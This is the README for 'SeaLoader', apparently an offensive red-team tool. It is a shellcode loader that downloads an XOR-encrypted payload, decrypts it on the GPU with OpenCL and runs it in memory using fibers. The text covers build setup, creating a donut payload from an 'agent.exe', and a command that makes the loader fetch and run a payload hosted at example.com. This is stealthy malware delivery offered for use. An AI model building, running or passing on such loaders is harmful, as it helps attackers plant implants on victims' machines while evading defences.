Shellcode loader that downloads and decrypts an XOR encrypted using OpenCL, then launches it with fibers. For a deeper dive, see the blog post here:
https://p0142.github.io/posts/sealoader/
OpenCL is not part of Visual Studio itself. You need vendor-specific OpenCL runtime + headers.
- NVIDIA GPU → Install the CUDA Toolkit. It includes
OpenCL.dll, headers, and ICD loader. - AMD GPU → Install the AMD APP SDK (legacy) or ROCm / Windows drivers with OpenCL runtime.
- Intel GPU / CPU → Install Intel OpenCL SDK.
Alternately if you're running this in a VM you can use POCL, which you can get here:
Grab the SDK here:
After installation, you should have:
OpenCL.lib(import library)OpenCL.dll(runtime, usually inC:\Windows\System32)CL/cl.handCL/opencl.hpp(headers for C and C++)
- Open Visual Studio → Create a new Project → choose Console App (C++).
- Right-click your project → Properties.
-
Go to C/C++ → General → Additional Include Directories
-
Add the path to OpenCL headers, e.g.:
C:\Program Files (x86)\Intel\OpenCL SDK\includeor
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v12.x\include
- Go to Linker → General → Additional Library Directories
- Add path to libraries, e.g.:
C:\Program Files (x86)\Intel\OpenCL SDK\lib\x64
- Go to Linker → Input → Additional Dependencies
- Add:
OpenCL.lib
From here you should be able to compile the program.
The donut generator python script requires donut shellcode: https://github.com/TheWover/donut
pip install donut-shellcode
The loader should work with any shellcode though, not only donut.
Create your payload:
python donutGenerator.py -i agent.exe -x "HelloWorld"
Host the file on a web server and use the loader to download into memory and execute
.\SeaLoader.exe /p:http://example.com/payload.bin /x:HelloWorld
- https://www.zscaler.com/blogs/security-research/coffeeloader-brew-stealthy-techniques
- https://eversinc33.com/posts/gpu-malware.html
- https://www.4hou.com/posts/xyE9
- https://www.antiy.net/Download/comprehensive-analysis-of-armouryloader-series-analysis-of-typical-loader-families-five.pdf
- https://oblivion-malware.xyz/posts/shellcode-pt4-stager-local-inject-fibers/